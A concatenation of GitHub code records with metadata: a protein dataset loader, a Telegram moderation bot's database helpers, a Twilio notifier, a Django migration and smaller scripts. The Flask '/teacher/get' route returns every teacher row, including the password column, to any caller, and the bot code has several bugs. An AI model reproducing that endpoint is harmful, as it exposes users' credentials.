Path\nfrom typing import Union, List, Tuple, Sequence, Dict, Any\n\nimport numpy as np\nimport torch\nfrom scipy.spatial.distance import pdist, squareform\nfrom tape.datasets import dataset_factory\nfrom tape.tokenizers import TAPETokenizer\nfrom torch.utils.data import Dataset\n\nss8_cds = ['G', 'H', 'I', 'B', 'E', 'S', 'T', ' ']\nss8_to_idx = {cd: i for i, cd in enumerate(ss8_cds)}\n\nss8_blank_index = 7\nss4_blank_index = 3\n\n\nclass SecondaryStructureOneVsAllDataset(Dataset):\n\n def __init__(self,\n data_path: Union[str, Path],\n split: str,\n label_scheme: str,\n label: str,\n tokenizer: Union[str, TAPETokenizer] = 'iupac',\n in_memory: bool = False):\n\n if label_scheme != 'ss8' and label_scheme != 'ss4':\n raise NotImplementedError\n\n if split not in ('train', 'valid', 'casp12', 'ts115', 'cb513'):\n raise ValueError(f\"Unrecognized split: {split}. Must be one of \"\n f\"['train', 'valid', 'casp12', \"\n f\"'ts115', 'cb513']\")\n\n if isinstance(tokenizer, str):\n tokenizer = TAPETokenizer(vocab=tokenizer)\n self.tokenizer = tokenizer\n\n data_path = Path(data_path)\n data_file = f'secondary_structure/secondary_structure_{split}.lmdb'\n self.data = dataset_factory(data_path / data_file, in_memory)\n if label_scheme == 'ss8':\n self.label = ss8_to_idx[label]\n elif label_scheme == 'ss4':\n self.label = label\n else:\n raise NotImplementedError\n self.label_scheme = label_scheme\n\n def __len__(self) -> int:\n return len(self.data)\n\n def __getitem__(self, index: int):\n item = self.data[index]\n token_ids = self.tokenizer.encode(item['primary'])\n input_mask = np.ones_like(token_ids)\n\n if self.label_scheme == 'ss4':\n # ss8 code 7 is for blank label. 3 is used to represent blank in ss4\n ss_labels = [ss4_blank_index if ss8 == ss8_blank_index else ss3 for ss3, ss8 in\n zip(item['ss3'], item['ss8'])]\n else:\n ss_labels = item['ss8']\n labels = np.asarray([label == self.label for label in ss_labels], np.int64)\n # pad with -1s because of cls/sep tokens\n labels = np.pad(labels, (1, 1), 'constant', constant_values=-1)\n\n return token_ids, input_mask, labels\n\n def collate_fn(self, batch: List[Tuple[Any, ...]]) -> Dict[str, torch.Tensor]:\n input_ids, input_mask, ss_label = tuple(zip(*batch))\n input_ids = torch.from_numpy(pad_sequences(input_ids, 0))\n input_mask = torch.from_numpy(pad_sequences(input_mask, 0))\n ss_label = torch.from_numpy(pad_sequences(ss_label, -1))\n\n output = {'input_ids': input_ids,\n 'input_mask': input_mask,\n 'targets': ss_label}\n\n return output\n\n\nclass BindingSiteDataset(Dataset):\n\n def __init__(self,\n data_path: Union[str, Path],\n split: str,\n tokenizer: Union[str, TAPETokenizer] = 'iupac',\n in_memory: bool = False,\n max_seqlen: int = 512):\n\n allowed_splits = ('train', 'valid')\n if split not in allowed_splits:\n raise ValueError(f\"Unrecognized split: {split}. Must be one of: {', '.join(allowed_splits)}\")\n\n if isinstance(tokenizer, str):\n tokenizer = TAPETokenizer(vocab=tokenizer)\n self.tokenizer = tokenizer\n\n data_path = Path(data_path)\n data_file = f'binding_sites/binding_site_{split}.lmdb'\n self.data = dataset_factory(data_path / data_file, in_memory)\n self.max_seqlen = max_seqlen\n\n def __len__(self) -> int:\n return len(self.data)\n\n def __getitem__(self, index: int):\n item = self.data[index]\n sequence = item['primary']\n positions = item['positions']\n if self.max_seqlen:\n sequence = sequence[:self.max_seqlen]\n positions = positions[:self.max_seqlen]\n\n token_ids = self.tokenizer.encode(sequence)\n input_mask = np.ones_like(token_ids)\n\n labels = [1 if seq_pos in item['sites'] else 0 for seq_pos in positions]\n\n labels = np.pad(labels, (1, 1), 'constant', constant_values=-1)\n\n return token_ids, input_mask, labels\n\n def collate_fn(self, batch: List[Tuple[Any, ...]]) -> Dict[str, torch.Tensor]:\n input_ids, input_mask, label = tuple(zip(*batch))\n input_ids = torch.from_numpy(pad_sequences(input_ids, 0))\n input_mask = torch.from_numpy(pad_sequences(input_mask, 0))\n label = torch.from_numpy(pad_sequences(label, -1))\n\n output = {'input_ids': input_ids,\n 'input_mask': input_mask,\n 'targets': label}\n\n return output\n\n\ndef pad_sequences(sequences: Sequence, constant_value=0, dtype=None) -> np.ndarray:\n batch_size = len(sequences)\n shape = [batch_size] + np.max([seq.shape for seq in sequences], 0).tolist()\n\n if dtype is None:\n dtype = sequences[0].dtype\n\n if isinstance(sequences[0], np.ndarray):\n array = np.full(shape, constant_value, dtype=dtype)\n elif isinstance(sequences[0], torch.Tensor):\n array = torch.full(shape, constant_value, dtype=dtype)\n\n for arr, seq in zip(array, sequences):\n arrslice = tuple(slice(dim) for dim in seq.shape)\n arr[arrslice] = seq\n\n return array\n", "repo_name": "pkadambi/provis", "sub_path": "protein_attention/datasets.py", "file_name": "datasets.py", "file_ext": "py", "file_size_in_byte": 5785, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "85", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 29, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 33, "usage_type": "name"}, {"api_name": "tape.tokenizers.TAPETokenizer", "line_number": 33, "usage_type": "name"}, {"api_name": "tape.tokenizers.TAPETokenizer", "line_number": 45, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 48, "usage_type": "call"}, {"api_name": "tape.datasets.dataset_factory", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.pad", "line_number": 75, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 79, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 79, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 83, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 79, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Dataset", "line_number": 92, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 95, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 97, "usage_type": "name"}, {"api_name": "tape.tokenizers.TAPETokenizer", "line_number": 97, "usage_type": "name"}, {"api_name": "tape.tokenizers.TAPETokenizer", "line_number": 106, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 109, "usage_type": "call"}, {"api_name": "tape.datasets.dataset_factory", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 130, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 134, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 134, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 134, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 138, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 134, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 134, "usage_type": "attribute"}, {"api_name": "typing.Sequence", "line_number": 147, "usage_type": "name"}, {"api_name": "numpy.max", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 154, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 156, "usage_type": "attribute"}, {"api_name": "torch.full", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 147, "usage_type": "attribute"}]} +{"seq_id": "20442799789", "text": "from multiprocessing import Pool\r\nimport numpy as np\r\nimport mayavi.mlab as mlab\r\nimport argparse\r\nfrom CubeToPickle import cube_to_pickle\r\nfrom Update import update\r\nfrom ReadPickle import read_pickle\r\nfrom MakeVideo import make_video\r\nfrom FrameLoader import frame_loader\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"--number_of_molecules\", default=40, type=int, help=\"Number of molecules in system.\")\r\nparser.add_argument(\"--number_of_cubes\", default=207, type=int, help=\"Amount of cube files.\")\r\nparser.add_argument(\"--pickling\", default=False, type=bool, help=\"Pickling of cube files.\")\r\nparser.add_argument(\"--animate\", default=True, type=bool, help=\"Show animation.\")\r\nparser.add_argument(\"--save_images\", default=False, type=bool, help=\"Saving images of cube files.\")\r\nparser.add_argument(\"--make_video\", default=False, type=bool, help=\"Make video from saved files?\")\r\n\r\n\r\ndef main(args):\r\n frame = list(np.arange(0, args.number_of_cubes * 10, 10)) # frame have stride 10\r\n ############################################################################\r\n # Make pickle fil from cube file\r\n if args.pickling:\r\n with Pool(4) as p:\r\n p.map(cube_to_pickle, frame)\r\n\r\n ############################################################################\r\n # Make animation\r\n if args.animate:\r\n cubes = frame_loader(frame, read_pickle)\r\n animate = update(dictionary=cubes,\r\n number_of_molecules=args.number_of_molecules,\r\n frames=args.number_of_cubes,\r\n save_frames=args.save_images)\r\n mlab.show()\r\n ############################################################################\r\n # Make video from frames from animation\r\n if args.make_video:\r\n make_video(\"figures\", fps=20, name=\"test.mp4\")\r\n\r\n\r\nif __name__ == '__main__':\r\n args = parser.parse_args([] if \"__file__\" not in globals() else None)\r\n main(args)\r\n", "repo_name": "turcinv/OOP_ammonia_analysis", "sub_path": "Ammonia/OOPCluster/animation/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1970, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 21, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 25, "usage_type": "call"}, {"api_name": "CubeToPickle.cube_to_pickle", "line_number": 26, "usage_type": "argument"}, {"api_name": "FrameLoader.frame_loader", "line_number": 31, "usage_type": "call"}, {"api_name": "ReadPickle.read_pickle", "line_number": 31, "usage_type": "argument"}, {"api_name": "Update.update", "line_number": 32, "usage_type": "call"}, {"api_name": "mayavi.mlab.show", "line_number": 36, "usage_type": "call"}, {"api_name": "mayavi.mlab", "line_number": 36, "usage_type": "name"}, {"api_name": "MakeVideo.make_video", "line_number": 40, "usage_type": "call"}]} +{"seq_id": "20549286055", "text": "import pymysql\nfrom flask import Blueprint, jsonify\n\nfrom app.db.db import connect_db\n\nteacher = Blueprint('teacher', __name__)\n\n\n# pymysql\n@teacher.route('/teacher/get')\ndef get_teacher():\n cursor = connect_db().cursor()\n sql =\"select * from teacher\"\n cursor.execute(sql)\n data = cursor.fetchall()\n teachers = []\n for row in data:\n teachers.append({\n 'user_id': row[0],\n 'pwd': row[1],\n 'teacher_num': row[2],\n 'name': row[3],\n 'university': row[4],\n 'college': row[5],\n 'tel': row[6],\n 'rec_time': row[7]\n })\n return jsonify(teachers)\n\n", "repo_name": "smuport/flask-rollcall-edu", "sub_path": "app/api/teacher.py", "file_name": "teacher.py", "file_ext": "py", "file_size_in_byte": 661, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "85", "api": [{"api_name": "flask.Blueprint", "line_number": 6, "usage_type": "call"}, {"api_name": "app.db.db.connect_db", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "16357483335", "text": "import datetime\nfrom aiogram import types\nfrom asyncpg import UniqueViolationError\nfrom data import config\nfrom loader import bot\nfrom utils.db_api.db_base import db\nfrom utils.db_api.schemas.chat_actions import ChatAction\nfrom utils.db_api.schemas.chat_user import ChatUser\n\n\n# Добавяем пользователя из чата в БД\nasync def add_chat_user(user_id: int, first_name: str, last_name: str, user_name: str, status: str, reputation: int, total_help: int, mutes: int, last_rep_boost: datetime, last_help_boost: datetime):\n try:\n chat_user = ChatUser(user_id=user_id, first_name=first_name, last_name=last_name, reputation=reputation, user_name=user_name, total_help=total_help, mutes=mutes,\n last_rep_boost=last_rep_boost, last_help_boost=last_help_boost, status=status)\n await chat_user.create()\n except UniqueViolationError:\n print('Регистрация не создана')\n\n\n# Проверяем есть ли юзер написавший сообщение в БД\nasync def check_chat_user(message):\n if message.reply_to_message:\n # Если не удалось получить юзера из БД\n if await select_chat_user(message.reply_to_message.from_user.id) is None:\n # Пытаемся его добави��ь\n await add_chat_user(user_id=message.reply_to_message.from_user.id,\n first_name=message.reply_to_message.from_user.first_name,\n last_name=message.reply_to_message.from_user.last_name,\n user_name=message.reply_to_message.from_user.username,\n status='active',\n reputation=0,\n total_help=0,\n mutes=0,\n last_rep_boost=datetime.datetime.now() - datetime.timedelta(hours=4),\n last_help_boost=datetime.datetime.now() - datetime.timedelta(hours=4))\n\n else:\n pass\n else:\n # Если не удалось получить юезра из БД то добаавляем его\n if await select_chat_user(message.from_user.id) is None:\n await add_chat_user(user_id=message.from_user.id,\n first_name=message.from_user.first_name,\n last_name=message.from_user.last_name,\n user_name=message.from_user.username,\n status='active',\n reputation=0,\n total_help=0,\n mutes=0,\n last_rep_boost=datetime.datetime.now() - datetime.timedelta(hours=4),\n last_help_boost=datetime.datetime.now() - datetime.timedelta(hours=4))\n else:\n pass\n\n\n# Добавяем действие из чата в БД\nasync def add_chat_action(id: int, user_id: int, type: str):\n try:\n chat_action = ChatAction(id=id, user_id=user_id, type=type, added=datetime.datetime.now())\n await chat_action.create()\n except UniqueViolationError:\n print('Действие из чата не создано в БД')\n\n\n# Количество нарушений юзера за последнее N-часов / Если 0 то за всё время\nasync def count_user_violations(user_id: int, hours: int = 0):\n violations = await ChatAction.query.where(ChatAction.user_id == user_id).gino.all() # Получаем все нарушения юзера\n if hours <= 0:\n # Число нарушений за всё время\n count = 0\n for violation in violations:\n if violation.type in ['ads', 'bad word']:\n count += 1\n return count\n else:\n count = 0\n # Число нарушений за последнее N-часов\n for violation in violations:\n # Проходимся по всем нарушениям юзера и считаем все которые были нарушены менее N-часов назад\n if violation.added >= datetime.datetime.now() - datetime.timedelta(hours=hours):\n count = 0\n for violation in violations:\n if violation.type in ['ads', 'bad word']:\n count += 1\n return count\n\n\nasync def check_violations(message):\n violations = await ChatAction.query.where(ChatAction.user_id == message.from_user.id).gino.all() # Получаем все нарушения от юзера\n count_bad_words = 0\n count_advertising = 0\n # Получаем каждое нарушение из списка\n for violation in violations:\n if violation.added >= datetime.datetime.now() - datetime.timedelta(minutes=config.time_of_violations):\n if violation.type == 'bad word': # Плохие слова\n count_bad_words +=1\n elif violation.type == 'ads': # Реклама\n count_advertising +=1\n OnlyReadPermissions = types.ChatPermissions(can_send_messages=False,\n can_send_media_messages=False,\n can_send_polls=False,\n can_send_other_messages=False,\n can_add_web_page_previews=False,\n can_change_info=False,\n can_invite_users=False,\n can_pin_messages=False)\n userChatActions = await ChatAction.query.where(ChatAction.user_id == message.from_user.id).gino.all()\n type = userChatActions[len(userChatActions) -1].type\n if type == 'bad word':\n if count_bad_words > 0: # Если количество плохих слов Больше 0\n if count_bad_words >= 5: # Если количество плохих слов больше или равно 5\n until_date = datetime.datetime.now() + datetime.timedelta(hours=config.mute_by_bad_word_time)\n await bot.restrict_chat_member(chat_id=message.chat_id,\n user_id=message.from_user.id,\n permissions=OnlyReadPermissions,\n until_date=until_date)\n return await message.answer(f'👤{message.from_user.get_mention(as_html=True)} был ограничен в возможности отправлять сообщения '\n f'на {config.mute_by_bad_word_time} часов.\\n'\n f'📩Причина: Плохие слова в чате.')\n else:\n return await message.answer(f'🔍 Замечено плохое слово\\n'\n f'👤 Его написал {message.from_user.get_mention(as_html=True)}\\n'\n f'🤬 Предупреждение № {count_bad_words}\\n')\n elif type == 'ads':\n if count_advertising > 0: # Если количество рекламных ссылок больше 0\n if count_advertising >= 3: # Если количество рекламных ссылок больше 3\n until_date = datetime.datetime.now() + datetime.timedelta(hours=config.mute_by_bad_word_time)\n await bot.restrict_chat_member(chat_id=message.chat_id,\n user_id=message.from_user.id,\n permissions=OnlyReadPermissions,\n until_date=until_date)\n return await message.answer(f'👤{message.from_user.get_mention(as_html=True)} был ограничен в возможности отправлять сообщения '\n f'на {config.mute_by_ads_time} часов.\\n'\n f'📩Причина: Реклама в чате.')\n else:\n return await message.answer(f'🔍 Замечена реклама в чате\\n'\n f'👤 Написал {message.from_user.get_mention(as_html=True)}\\n'\n f'🤬 Предупреждение № {count_bad_words}\\n')\n\n\n# Функция обновляет дату последнего поднятия помощи\nasync def update_last_help_boost(user_id: int):\n chatUser = await ChatUser.query.where(ChatUser.user_id == user_id).gino.first()\n await chatUser.update(last_help_boost=datetime.datetime.now()).apply()\n\n\n# Функция обновляет дату последнего поднятия или снятия репутации\nasync def update_last_rep_boost(user_id: int):\n chatUser = await ChatUser.query.where(ChatUser.user_id == user_id).gino.first()\n await chatUser.update(last_rep_boost=datetime.datetime.now()).apply()\n\n\n# Чат событий\nasync def count_chat_action():\n count = await db.func.count(ChatAction.id).gino.scalar()\n return count\n\n\n# Получаем чат юзера\nasync def select_chat_user(user_id: int):\n chat_user = await ChatUser.query.where(ChatUser.user_id == user_id).gino.first()\n return chat_user\n\n\n# Функция добавляет рейтинг за помощь на +1\nasync def add_total_help(user_id: int):\n chat_user = await select_chat_user(user_id)\n await chat_user.update(total_help=chat_user.total_help + 1).apply()\n\n\n# Функция которая добавляет репутацию +rep\nasync def add_reputation(user_id: int):\n chat_user = await select_chat_user(user_id)\n await chat_user.update(reputation=chat_user.reputation + 1).apply()\n\n\n# Функция которая понижает репутацию -rep\nasync def remove_reputation(user_id: int):\n chat_user = await select_chat_user(user_id)\n await chat_user.update(reputation=chat_user.reputation - 1).apply()\n\n\n\n\n# Функция которая добовляет количество мута в профиле\nasync def add_mutes(user_id: int):\n chat_user = await select_chat_user(user_id)\n await chat_user.update(mutes=chat_user.mutes + 1).apply()\n\n", "repo_name": "archiewh1te/bot_moderator", "sub_path": "utils/db_api/moderator_commands.py", "file_name": "moderator_commands.py", "file_ext": "py", "file_size_in_byte": 10658, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "85", "api": [{"api_name": "utils.db_api.schemas.chat_user.ChatUser", "line_number": 14, "usage_type": "call"}, {"api_name": "asyncpg.UniqueViolationError", "line_number": 17, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 35, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 51, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 52, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 52, "usage_type": "call"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "attribute"}, {"api_name": "asyncpg.UniqueViolationError", "line_number": 62, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction.query.where", "line_number": 68, "usage_type": "call"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction.query", "line_number": 68, "usage_type": "attribute"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction", "line_number": 68, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction.user_id", "line_number": 68, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 81, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 81, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 81, "usage_type": "call"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction.query.where", "line_number": 90, "usage_type": "call"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction.query", "line_number": 90, "usage_type": "attribute"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction", "line_number": 90, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction.user_id", "line_number": 90, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 95, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 95, "usage_type": "call"}, {"api_name": "data.config.time_of_violations", "line_number": 95, "usage_type": "attribute"}, {"api_name": "data.config", "line_number": 95, "usage_type": "name"}, {"api_name": "aiogram.types.ChatPermissions", "line_number": 100, "usage_type": "call"}, {"api_name": "aiogram.types", "line_number": 100, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction.query.where", "line_number": 108, "usage_type": "call"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction.query", "line_number": 108, "usage_type": "attribute"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction", "line_number": 108, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction.user_id", "line_number": 108, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 113, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 113, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 113, "usage_type": "call"}, {"api_name": "data.config.mute_by_bad_word_time", "line_number": 113, "usage_type": "attribute"}, {"api_name": "data.config", "line_number": 113, "usage_type": "name"}, {"api_name": "loader.bot.restrict_chat_member", "line_number": 114, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 114, "usage_type": "name"}, {"api_name": "data.config.mute_by_bad_word_time", "line_number": 119, "usage_type": "attribute"}, {"api_name": "data.config", "line_number": 119, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 128, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 128, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 128, "usage_type": "call"}, {"api_name": "data.config.mute_by_bad_word_time", "line_number": 128, "usage_type": "attribute"}, {"api_name": "data.config", "line_number": 128, "usage_type": "name"}, {"api_name": "loader.bot.restrict_chat_member", "line_number": 129, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 129, "usage_type": "name"}, {"api_name": "data.config.mute_by_ads_time", "line_number": 134, "usage_type": "attribute"}, {"api_name": "data.config", "line_number": 134, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser.query.where", "line_number": 144, "usage_type": "call"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser.query", "line_number": 144, "usage_type": "attribute"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser", "line_number": 144, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser.user_id", "line_number": 144, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 145, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 145, "usage_type": "attribute"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser.query.where", "line_number": 150, "usage_type": "call"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser.query", "line_number": 150, "usage_type": "attribute"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser", "line_number": 150, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser.user_id", "line_number": 150, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 151, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 151, "usage_type": "attribute"}, {"api_name": "utils.db_api.db_base.db.func.count", "line_number": 156, "usage_type": "call"}, {"api_name": "utils.db_api.db_base.db.func", "line_number": 156, "usage_type": "attribute"}, {"api_name": "utils.db_api.db_base.db", "line_number": 156, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction.id", "line_number": 156, "usage_type": "attribute"}, {"api_name": "utils.db_api.schemas.chat_actions.ChatAction", "line_number": 156, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser.query.where", "line_number": 162, "usage_type": "call"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser.query", "line_number": 162, "usage_type": "attribute"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser", "line_number": 162, "usage_type": "name"}, {"api_name": "utils.db_api.schemas.chat_user.ChatUser.user_id", "line_number": 162, "usage_type": "attribute"}]} +{"seq_id": "12566455572", "text": "# https://www.twilio.com/docs/sms\nfrom twilio.rest import Client\nfrom os import environ\n\n\nclass NotificationManager:\n #This class is responsible for sending notifications with the deal flight details.\n def __init__(self):\n self.account_sid = environ['TWILIO_ACCOUNT_SID']\n self.auth_token = environ['TWILIO_AUTH_TOKEN']\n self.phone_from = environ['TWILIO_PHONE_NUMBER']\n self.client = Client(self.account_sid, self.auth_token)\n\n def send_message(self, phone_to, message):\n message = self.client.messages.create(\n body=message,\n from_=self.phone_from,\n to=phone_to\n )\n print(message.sid)", "repo_name": "pedsf1968/python-100days", "sub_path": "039-flight-deal-finder/flight-deals/notification_manager.py", "file_name": "notification_manager.py", "file_ext": "py", "file_size_in_byte": 677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "os.environ", "line_number": 9, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 10, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 11, "usage_type": "name"}, {"api_name": "twilio.rest.Client", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "20988296745", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('kitchen', '0014_auto_20150123_2236'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='DishComponent',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, verbose_name='ID', serialize=False)),\n ('weight', models.FloatField()),\n ('dish_ID', models.ForeignKey(to='kitchen.Dish')),\n ('ingredient_ID', models.ForeignKey(to='kitchen.Ingredient')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.RemoveField(\n model_name='dishcomponents',\n name='dish_ID',\n ),\n migrations.RemoveField(\n model_name='dishcomponents',\n name='ingredient_ID',\n ),\n migrations.DeleteModel(\n name='DishComponents',\n ),\n ]\n", "repo_name": "kalipsum/cafe", "sub_path": "cafe/pkg/kitchen/migrations/0015_auto_20150123_2322.py", "file_name": "0015_auto_20150123_2322.py", "file_ext": "py", "file_size_in_byte": 1052, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.FloatField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.migrations.RemoveField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.migrations.RemoveField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.migrations.DeleteModel", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 34, "usage_type": "name"}]} +{"seq_id": "29879292806", "text": "import folium\nfrom geopy.distance import geodesic\nimport json\nfrom geocluster import GeoCluster\nfrom urllib.parse import urlencode\n\n\ncolors = [\"red\", \"blue\", \"green\", \"purple\", \"orange\", \"darkred\",\n \"lightred\", \"beige\", \"darkblue\", \"darkgreen\", \"cadetblue\",\n \"darkpurple\", \"white\", \"pink\", \"lightblue\", \"lightgreen\",\n \"gray\", \"black\", \"lightgray\"]\n\n''' # Original challenge\nradius = 20 #miles\nmaxcrowflies = 50\nAccess = 5\nmaxsites = 4\nfurthestfirst = True\nclosestsitetosurrentnext = False\n'''\n\nradius = 15 #miles\nmaxcrowflies = 40\nAccess = 4\nmaxsites = 5\nfurthestfirst = False\nclosestsitetosurrentnext = True\n\n\n\n\n\n\ncenter = [53.362062,-1.503660]# nickys #[53.39064,-1.53328]#mine\nm = folium.Map(\n location=center,\n tiles='OpenStreetMap', #'Stamen Terrain',\n zoom_start=10,\n title = \"Our Map\",\n control_scale = True\n 